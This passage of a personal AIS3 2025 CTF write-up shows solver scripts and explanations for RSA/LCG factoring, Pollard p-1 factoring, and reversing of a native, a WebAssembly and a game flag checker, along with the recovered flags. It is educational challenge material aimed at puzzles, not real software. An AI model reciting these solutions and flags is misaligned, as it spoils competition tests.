# AIS3 2025 – “Hill” (Hill Cipher)
# Author: FromKeyToEnd
from sympy import mod_inverse, sqrt_mod, isprime
h_0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690
h_1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530
h_2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133
modulus = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413
n = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283
e = 65537
ciphertext = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201
def compute_lcg_params(h0, h1, h2, m):
delta1 = (h1 - h0) % m
delta2 = (h2 - h1) % m
a = (delta2 * mod_inverse(delta1, m)) % m
b = (h1 - a * h0) % m
return a, b
def lcg_step(x, a, b, m):
return (a * x + b) % m
def advance_lcg(x, a, b, m, k):
if k == 0:
return x
a_k = pow(a, k, m)
coeff = (b * (a_k - 1) * mod_inverse(a - 1, m)) % m
return (a_k * x + coeff) % m
def solve_quadratic_modulo(n, a, b, m, max_steps):
t = n % m
for s in range(1, max_steps + 1):
A = pow(a, s, m)
C = (b * (A - 1) * mod_inverse(a - 1, m)) % m
delta = (C * C + 4 * A * t) % m
roots = sqrt_mod(delta, m, all_roots=True)
if not roots:
continue
inv_2A = mod_inverse((2 * A) % m, m)
for r in roots:
p = ((-C + r) * inv_2A) % m
if p == 0 or p >= m or not isprime(p) or n % p != 0:
continue
q = p
steps = 0
while True:
q = lcg_step(q, a, b, m)
steps += 1
if isprime(q):
if p * q == n:
return p, q, steps
break
return None, None, None
def recover_flag(n, e, c, p, q):
phi = (p - 1) * (q - 1)
d = mod_inverse(e, phi)
m = pow(c, d, n)
return m.to_bytes((m.bit_length() + 7) // 8, "big")
def main():
print("[+] Recovering LCG parameters...")
a, b = compute_lcg_params(h_0, h_1, h_2, modulus)
print(f" a = {a}")
print(f" b = {b}")
print("[+] Solving for primes...")
p, q, steps = solve_quadratic_modulo(n, a, b, modulus, max_steps=6000)
if not p:
raise RuntimeError("[-] Failed to recover primes")
print("[+] Found factors")
print(f" p = {p} (bits={p.bit_length()})")
print(f" q = {q} (bits={q.bit_length()})")
print(f" steps from p to q = {steps}")
flag = recover_flag(n, e, ciphertext, p, q)
print("[+] Decryption complete!\n")
print(flag.decode())
if __name__ == "__main__":
main()
```
### Happy Happy Factoring
#### Description
#### Solution
##### Code Analysis
```python=
import random
from functools import reduce
from gmpy2 import is_prime
prime_list = [num for num in range(3, 5000) if is_prime(num)]
def get_william_prime():
while True:
li = [2] + random.choices(prime_list, k=85)
n = reduce(lambda x, y: x * y, li)
if is_prime(n - 1):
return n - 1
def get_pollard_prime():
while True:
li = [2] + random.choices(prime_list, k=85)
n = reduce(lambda x, y: x * y, li)
if is_prime(n + 1):
return n + 1
def get_fermat_prime():
a = random.getrandbits(1024)
if a % 2 != 0:
a += 1
check = 0
for offset in range(random.getrandbits(512) | 1, 1 << 512 + 1, 2):
if (not check & 1) and is_prime(a + offset):
check |= 1
p = a + offset
if (not check & 2) and is_prime(a - offset):
check |= 2
q = a - offset
if check == 3:
return p, q
def main():
wi = get_william_prime()
po = get_pollard_prime()
fp, fq = get_fermat_prime()
n = wi * po * po * fp * fq
e = 0x10001
m = int.from_bytes(open('flag.txt').read().strip().encode())
c = pow(m, e, n)
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
main()
```
The generator does four crucial things:
| label in code | definition | cryptanalytic takeaway |
|----------------------------|-----------------------------------------------------------------------------|------------------------------------------------------------------------------------------|
| `wi` (“William”) | $wi = \left( 2 \times \prod \text{random primes} \leq 4999 \right) - 1$ | **$wi + 1$ is *completely* smooth** (all factors $\leq 4999$). |
| `po` (“Pollard”) | $po = \left( 2 \times \prod \text{random primes} \leq 4999 \right) + 1$ | **$po - 1$ is *completely* smooth** (same set of $\leq 4999$ primes). |
| `fp`, `fq` (“Fermat twins”)| two unrelated 1024-bit primes, close together | hard to factor; we will *ignore them*. |
| modulus | $n = wi \cdot po^2 \cdot fp \cdot fq$ | *square factor* ($po^2$) + one smooth factor large enough to hold the plaintext. |
Two other side remarks that matter later:
- `random.choices(prime_list, k=85)` means exactly 85 primes -- duplicates allowed.
- The plaintext is read straight from `flag.txt`. Even if they packed 100 printable ASCII characters, that is $< 2^{800} \approx 2^{320}$, far smaller than any of the primes.
#### Strategy
The RSA ciphertext is
$$
c \equiv m^e \pmod{n},\qquad e = 65,537.
$$
Assume you know one prime factor $p$ of $n$ and that the flag integer $m \lt p$:
1. As soon as you take everything mod $p$, the mapping $x \mapsto x^{\,e}\pmod{p}$ is bijective on the interval $[0,p)$.
2. Therefore the ordinary Euler inverse $d_p \equiv e^{-1}\pmod{p-1}$ works, and $m = c^{\,d_p}\pmod{p}$.
3. Because $0 ≤ m < p$, the residue is the full plaintext -- no Chinese Remainder, no second prime, no $\varphi(n)$ reconstruction.
So your entire job is to peel one big prime off $n$.
##### Anatomy of Pollard’s $p − 1$ attack
<u>Stage 1 (the textbook version)</u>
1. Pick a base $a$ (e.g. 2).
2. For every small prime $q \le B_1$, raise $a$ to the highest power of $q$ below $B_1$:
$$
a \;\longleftarrow\; a^{\,q^{\,⌊\log_q B_1⌋}}\pmod{n}.
$$
3. Compute $g = \gcd(a-1, n)$.
If $1 < g < n$ you have a non-trivial factor.
<u>Stage 2</u>
Stage 1 often fails when $p−1$ is "mostly smooth but missing a few copies of some prime".
Stage 2 tries to mop that up by doing a short elliptic-curve-style walk; Practically, libraries hide the mess and expose only two extra parameters:
* $B_2$ (a bit larger than $B_1$; default 10 × or 100 ×),
* a random second base (or multiple retries with new bases).
If Stage 1 has made $a = g^k \bmod p$ where *k* includes almost all the factors of $p−1$, Stage 2 changes $a$ a bit and recomputes gcd’s until one iteration lands on the missing factor. Empirically that works extremely fast when the missing part is itself small (here it is), even if there are many duplicates.
A Stage 1 with $B_1$ = 5000 is *almost* enough because:
* By construction every distinct prime dividing $p−1$ is $\le 4999$.
But there's trouble: a raw Stage 1 loop that uses each prime once will only cancel a single copy of that prime in $p−1$. The generator may have $3^12$, $5^9$, etc., so several multiplicities remain => gcd = 1.
To solve the multiplicity problem:
| Approach | How to implement it | Speed | Library support |
| --------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | ---------------------- | ---------------------------------------------------- |
| **A. Raise the bound** | Increase $B_1$ until every product of duplicates is $< B_1$. In practice $B_1 = 200 k$ is plenty. | Seconds | SymPy, Pari, GMP-ECM, YAFU all accept a bigger $B_1$. |
| **B. Repeat each small prime many times** | Loop $a = a^q$ 85–90 times for every $q \le 5 000$. | Seconds, deterministic | Works in plain Python; tiny memory. |
| **C. Keep $B_1 = 5000$, but run Stage 2** ($B_2 \ge 50 000$) | Built-in in YAFU, GMP-ECM, SymPy >= 1.10, RsaCtfTool. | Often fastest | Automatic; one command. |
Personally I grabbed YAFU first because it auto-configures Stage 2, so I never had to think about multiplicities at all -- YAFU did a Stage 1 with its own default $B_1 \approx 50 000$ and then Stage 2 and popped the factor in two seconds.
Flag: `AIS3{H@ppY_#ap9y_CRypT0_F4(7or1n&~~~}`
## Reverse
### AIS3 Tiny Server - Reverse
#### Description
#### Solution
The overall intuition is to jump right in with static reversing with Ghidra.
I am skipping the tedious process of locating the correct function, but the final location I found rather suspicious was `sub_1E20@imagebase+1E20`.
I think it is the flag checker...
```c=
bool FUN_00011e20(int param_1)
{
byte bVar1;
int iVar2;
uint uVar3;
uint uVar4;
byte bVar5;
byte local_49 [11];
byte local_3e [46];
bVar5 = 0x33;
local_3e[0x2c] = 0x14;
local_3e[0x2d] = 0;
bVar1 = 0x72;
local_3e[0] = 0x33;
local_3e[1] = 0x20;
local_3e[2] = 0x38;
local_3e[3] = 0x58;
local_3e[4] = 0x12;
local_3e[5] = 0x28;
local_3e[6] = 0x5c;
local_3e[7] = 0x47;
local_3e[8] = 0x29;
local_3e[9] = 0x52;
local_3e[10] = 0x2d;
local_3e[0xb] = 0xf;
local_3e[0xc] = 0x5a;
local_3e[0xd] = 10;
local_3e[0xe] = 0xe;
local_3e[0xf] = 0;
local_3e[0x10] = 0xf;
local_3e[0x11] = 0x58;
local_3e[0x12] = 0x13;
local_3e[0x13] = 0x50;
local_3e[0x14] = 0x19;
local_3e[0x15] = 0x5a;
local_3e[0x16] = 0x19;
local_3e[0x17] = 0x34;
local_3e[0x18] = 0x58;
local_3e[0x19] = 0x31;
local_3e[0x1a] = 0x33;
local_3e[0x1b] = 0x43;
local_3e[0x1c] = 0x13;
local_3e[0x1d] = 0x41;
local_3e[0x1e] = 4;
local_3e[0x1f] = 0x5a;
local_3e[0x20] = 0x19;
local_3e[0x21] = 0x34;
local_3e[0x22] = 0x58;
local_3e[0x23] = 0x2c;
local_3e[0x24] = 0x33;
local_3e[0x25] = 0x53;
local_3e[0x26] = 0x46;
local_3e[0x27] = 3;
local_3e[0x28] = 0x1e;
local_3e[0x29] = 0x48;
local_3e[0x2a] = 0x4a;
local_3e[0x2b] = 0x4a;
local_49[0] = 0x72;
local_49[1] = 0x69;
local_49[2] = 0x6b;
local_49[3] = 0x6b;
local_49[4] = 0x69;
local_49[5] = 0x5f;
local_49[6] = 0x6c;
local_49[7] = 0x30;
local_49[8] = 0x76;
local_49[9] = 0x33;
uVar3 = 0;
while( true ) {
local_3e[uVar3] = bVar1 ^ bVar5;
uVar4 = uVar3 + 1;
if (uVar4 == 0x2d) break;
bVar5 = local_3e[uVar3 + 1];
bVar1 = local_49[uVar4 % 10];
uVar3 = uVar4;
}
iVar2 = 0;
while ((*(byte *)(param_1 + iVar2) != 0 && (*(byte *)(param_1 + iVar2) == local_3e[iVar2]))) {
iVar2 = iVar2 + 1;
if (iVar2 == 0x2d) {
return *(char *)(param_1 + 0x2d) == '\0';
}
}
return false;
}
```
From my observation, `local3e` is filled with `0x2d` = 45 bytes (from `0` to `0x2c`) of obfuscated data. Then, a transformation is applied, shown as follows:
```c=
local_3e[uVar3] = bVar1 ^ bVar5;
bVar5 = local_3e[uVar3 + 1];
bVar1 = local_49[uVar4 % 10];
```
This rewrites the same array with `bVar1 ^ bVar5`, where `bVar1` comes from `local_49` and `bVar5` evolves every step.
A simple Python script reverses the above process:
```python=
local_3e = [
0x33, 0x20, 0x38, 0x58, 0x12, 0x28, 0x5c, 0x47, 0x29, 0x52, 0x2d,
0x0f, 0x5a, 0x0a, 0x0e, 0x00, 0x0f, 0x58, 0x13, 0x50, 0x19, 0x5a, 0x19,
0x34, 0x58, 0x31, 0x33, 0x43, 0x13, 0x41, 0x04, 0x5a, 0x19, 0x34, 0x58,
0x2c, 0x33, 0x53, 0x46, 0x03, 0x1e, 0x48, 0x4a, 0x4a, 0x14, 0x00
]
local_49 = [0x72, 0x69, 0x6b, 0x6b, 0x69, 0x5f, 0x6c, 0x30, 0x76, 0x33]
decrypted = []
bVar5 = 0x33
for i in range(0x2d): # 0x2d = 45
bVar1 = local_49[i % 10]
decrypted_byte = bVar1 ^ bVar5
decrypted.append(decrypted_byte)
bVar5 = local_3e[i + 1] if i + 1 < len(local_3e) else 0
# Convert to string
flag = ''.join(chr(b) for b in decrypted)
print(flag)
```
Flag: `AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}`
### Web Flag Checker
#### Description
#### Solution
Open the webpage as usual:
View Page Source:
```html=
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Flag checker</title>
</head>
<body>
<h1>Flag checker</h1>
<input id="flagInput" type="text" placeholder="Input a flag">
<button id="checkBtn">check</button>
<p id="result"></p>
<script src="index.js"></script>
</body>
</html>
```
Upon inspection, `index.js` contains standard Emscripten loading code, which most definitely hints at the `.wasm` reversing nature of this problem.
We go to `Developer Tools` > `Debugger` > `Sources` > `index.wasm`:
Here's the important source code (`$func9`, `$flag_checker`):
```wat=
(func $func9 (param $var0 i32) (result i32)
(local $var1 i32) (local $var2 i32) (local $var3 i32) (local $var4 i32)
(local $var5 i32) (local $var6 i32) (local $var7 i64) (local $var8 i32)
(local $var9 i32) (local $var10 i32) (local $var11 i32) (local $var12 i64)
(local $var13 i64) (local $var14 i64) (local $var15 i64) (local $var16 i64)
(local $var17 i32) (local $var18 i32) (local $var19 i32) (local $var20 i32)
(local $var21 i32) (local $var22 i32) (local $var23 i32) (local $var24 i32)
(local $var25 i32) (local $var26 i32) (local $var27 i32) (local $var28 i32)
(local $var29 i32) (local $var30 i32) (local $var31 i32) (local $var32 i32)
(local $var33 i32) (local $var34 i32) (local $var35 i32) (local $var36 i32)
(local $var37 i32) (local $var38 i32) (local $var39 i32) (local $var40 i32)
(local $var41 i64) (local $var42 i32) (local $var43 i32) (local $var44 i32)
(local $var45 i32) (local $var46 i32) (local $var47 i32) (local $var48 i32)
(local $var49 i64) (local $var50 i32) (local $var51 i64) (local $var52 i32)
(local $var53 i32) (local $var54 i32) (local $var55 i32) (local $var56 i32)
(local $var57 i32) (local $var58 i32) (local $var59 i64) (local $var60 i32)
(local $var61 i32) (local $var62 i32) (local $var63 i32) (local $var64 i32)
(local $var65 i32) (local $var66 i32) (local $var67 i32) (local $var68 i32)
(local $var69 i32) (local $var70 i32)
global.get $global0
local.set $var1
i32.const 96
local.set $var2
local.get $var1
local.get $var2
i32.sub
local.set $var3
local.get $var3
global.set $global0
local.get $var3
local.get $var0
i32.store offset=88
i32.const -39934163
local.set $var4
local.get $var3
local.get $var4
i32.store offset=84
i32.const 64
local.set $var5
local.get $var3
local.get $var5
i32.add
local.set $var6
i64.const 0
local.set $var7
local.get $var6
local.get $var7
i64.store
i32.const 56
local.set $var8
local.get $var3
local.get $var8
i32.add
local.set $var9
local.get $var9
local.get $var7
i64.store
i32.const 48
local.set $var10
local.get $var3
local.get $var10
i32.add
local.set $var11
local.get $var11
local.get $var7
i64.store
local.get $var3
local.get $var7
i64.store offset=40
local.get $var3
local.get $var7
i64.store offset=32
i64.const 7577352992956835434
local.set $var12
local.get $var3
local.get $var12
i64.store offset=32
i64.const 7148661717033493303
local.set $var13
local.get $var3
local.get $var13
i64.store offset=40
i64.const -7081446828746089091
local.set $var14
local.get $var3
local.get $var14
i64.store offset=48
i64.const -7479441386887439825
local.set $var15
local.get $var3
local.get $var15
i64.store offset=56
i64.const 8046961146294847270
local.set $var16
local.get $var3
local.get $var16
i64.store offset=64
local.get $var3
i32.load offset=88
local.set $var17
i32.const 0
local.set $var18
local.get $var17
local.get $var18
i32.ne
local.set $var19
i32.const 1
local.set $var20
local.get $var19
local.get $var20
i32.and
local.set $var21
block $label2
block $label1
block $label0
local.get $var21
i32.eqz
br_if $label0
local.get $var3
i32.load offset=88
local.set $var22
local.get $var22
call $func13
local.set $var23
i32.const 40
local.set $var24
local.get $var23
local.get $var24
i32.ne
local.set $var25
i32.const 1
local.set $var26
local.get $var25
local.get $var26
i32.and
local.set $var27
local.get $var27
i32.eqz
br_if $label1
end $label0
i32.const 0
local.set $var28
local.get $var3
local.get $var28
i32.store offset=92
br $label2
end $label1
local.get $var3
i32.load offset=88
local.set $var29
local.get $var3
local.get $var29
i32.store offset=28
i32.const 0
local.set $var30
local.get $var3
local.get $var30
i32.store offset=24
block $label3
loop $label5
local.get $var3
i32.load offset=24
local.set $var31
i32.const 5
local.set $var32
local.get $var31
local.get $var32
i32.lt_s
local.set $var33
i32.const 1
local.set $var34
local.get $var33
local.get $var34
i32.and
local.set $var35
local.get $var35
i32.eqz
br_if $label3
local.get $var3
i32.load offset=28
local.set $var36
local.get $var3
i32.load offset=24
local.set $var37
i32.const 3
local.set $var38
local.get $var37
local.get $var38
i32.shl
local.set $var39
local.get $var36
local.get $var39
i32.add
local.set $var40
local.get $var40
i64.load
local.set $var41
local.get $var3
local.get $var41
i64.store offset=16
local.get $var3
i32.load offset=24
local.set $var42
i32.const 6
local.set $var43
local.get $var42
local.get $var43
i32.mul
local.set $var44
i32.const -39934163
local.set $var45
local.get $var45
local.get $var44
i32.shr_u
local.set $var46
i32.const 63
local.set $var47
local.get $var46
local.get $var47
i32.and
local.set $var48
local.get $var3
local.get $var48
i32.store offset=12
local.get $var3
i64.load offset=16
local.set $var49
local.get $var3
i32.load offset=12
local.set $var50
local.get $var49
local.get $var50
call $func8
local.set $var51
local.get $var3
i32.load offset=24
local.set $var52
i32.const 32
local.set $var53
local.get $var3
local.get $var53
i32.add
local.set $var54
local.get $var54
local.set $var55
i32.const 3
local.set $var56
local.get $var52
local.get $var56
i32.shl
local.set $var57
local.get $var55
local.get $var57
i32.add
local.set $var58
local.get $var58
i64.load
local.set $var59
local.get $var51
local.get $var59
i64.ne
local.set $var60
i32.const 1
local.set $var61
local.get $var60
local.get $var61
i32.and
local.set $var62
block $label4
local.get $var62
i32.eqz
br_if $label4
i32.const 0
local.set $var63
local.get $var3
local.get $var63
i32.store offset=92
br $label2
end $label4
local.get $var3
i32.load offset=24
local.set $var64
i32.const 1
local.set $var65
local.get $var64
local.get $var65
i32.add
local.set $var66
local.get $var3
local.get $var66
i32.store offset=24
br $label5
end $label5
end $label3
i32.const 1
local.set $var67
local.get $var3
local.get $var67
i32.store offset=92
end $label2
local.get $var3
i32.load offset=92
local.set $var68
i32.const 96
local.set $var69
local.get $var3
local.get $var69
i32.add
local.set $var70
local.get $var70
global.set $global0
local.get $var68
return
)
```
In summary, the above function performs:
```wat=
(func $flag_checker (param $input i32) (result i32)
(if (i32.eqz (local.get $input))
(then (return (i32.const 0)))
)
;; Compare input length with 40
(if (i32.ne (call $func13 (local.get $input)) (i32.const 40))
(then (return (i32.const 0)))
)
;; Loop processing the 5 8-character blocks
;; Each block has to be transformed and compared with the expected value.
)
```
This function also references `func8` that performs a standard left shift operation:
```
(func $func8 (param $var0 i64) (param $var1 i32) (result i64)
(local $var2 i32) (local $var3 i32) (local $var4 i32) (local $var5 i64) (local $var6 i32) (local $var7 i32) (local $var8 i64) (local $var9 i64) (local $var10 i64) (local $var11 i32) (local $var12 i32) (local $var13 i32) (local $var14 i32) (local $var15 i64) (local $var16 i64) (local $var17 i64)
global.get $global0
local.set $var2
i32.const 16
local.set $var3
local.get $var2
local.get $var3
i32.sub
local.set $var4
local.get $var4
local.get $var0
i64.store offset=8
local.get $var4
local.get $var1
i32.store offset=4
local.get $var4
i64.load offset=8
local.set $var5
local.get $var4
i32.load offset=4
local.set $var6
local.get $var6
local.set $var7
local.get $var7
i64.extend_i32_u
local.set $var8
local.get $var5
local.get $var8
i64.shl
local.set $var9
local.get $var4
i64.load offset=8
local.set $var10
local.get $var4
i32.load offset=4
local.set $var11
i32.const 64
local.set $var12
local.get $var12
local.get $var11
i32.sub
local.set $var13
local.get $var13
local.set $var14
local.get $var14
i64.extend_i32_u
local.set $var15
local.get $var10
local.get $var15
i64.shr_u
local.set $var16
local.get $var9
local.get $var16
i64.or
local.set $var17
local.get $var17
return
)
```
Given that the validation process is:
```!
Input block -> Rotl by shift bits -> Expected value
```
We know the reverse process is:
```!
Expected value -> Rotr by shift bits -> Input block
```
Given this, it is rather intuitive to write Python code to reverse the above procedure:
```python
expected_values = [
7577352992956835434,
7148661717033493303,
11365297244963462525,
10967302686822111791,
8046961146294847270
]
rotations = [45, 28, 42, 39, 61]
def rotate_right_64(value, shift):
shift %= 64
return ((value >> shift) | (value << (64 - shift))) & 0xFFFFFFFFFFFFFFFF
def bigint_to_ascii(value, little_endian=True):
byte_array = value.to_bytes(8, byteorder='little' if little_endian else 'big')
return byte_array.decode('ascii')
flag = ""
for i in range(5):
original = rotate_right_64(expected_values[i], rotations[i])
flag += bigint_to_ascii(original, little_endian=True)
print("Flag:", flag)
```
Flag: `AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}`
### A Simple Snake Game
#### Description
#### Solution
Dynamic Analysis time! :cat:
Again, since the function locating process is too tedious, I am skipping it. Below is a step-by-step procedure of how I obtained the flag.
Open the file in IDA Pro, go to and set a breakpoint at `imagebase+29BA`. At that location, the instruction is `push ebp`:
Now run the program and step to `2A08: jle loc_D2CCC`.
It will try to go right (as indicated by the right arrow flashing, normally, the execution flow will not proceed leftwards), but change both `SF` and `ZF` registers to 0 to resolve this issue:
Now it will try to go left:
Repeat for `imagebase+2A15` for it to go left.
Now continue until it reaches `2B46`:
At `2B44`, it shows `mov [eax], dl`. Hover over `[eax]`, which is the location the flag is stored. Print screen to record it:
Now it goes on a long loop. Set a breakpoint on `2B4C` and press `F9` to skip to it:
Then, press G and type the address we recorded earlier.
That's the location of the flag, and now the pre-processing is complete, the flag should be there:
We obtain the flag by hand-typing every character in the mentioned memory addresses.
The process is tedious...
Flag: `AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}`
## Conclusion
With no `pwn` questions done, I seriously have to face rest of my life in my Pyjail eating ~~CTF~~ Ramen...
I'm too young to face jail. Please don't let me do that.
Anyway, I learned a lot during my first official CTF.
I sincerely thank the authors for delivering such constructive and appealing questions, especially Crypto ones... which required LOADS of calculations.
~~I couldn't count how many sheets of scratch paper I consumed during these three days. Never mind :)~~
Sign in with Wallet
Connect another wallet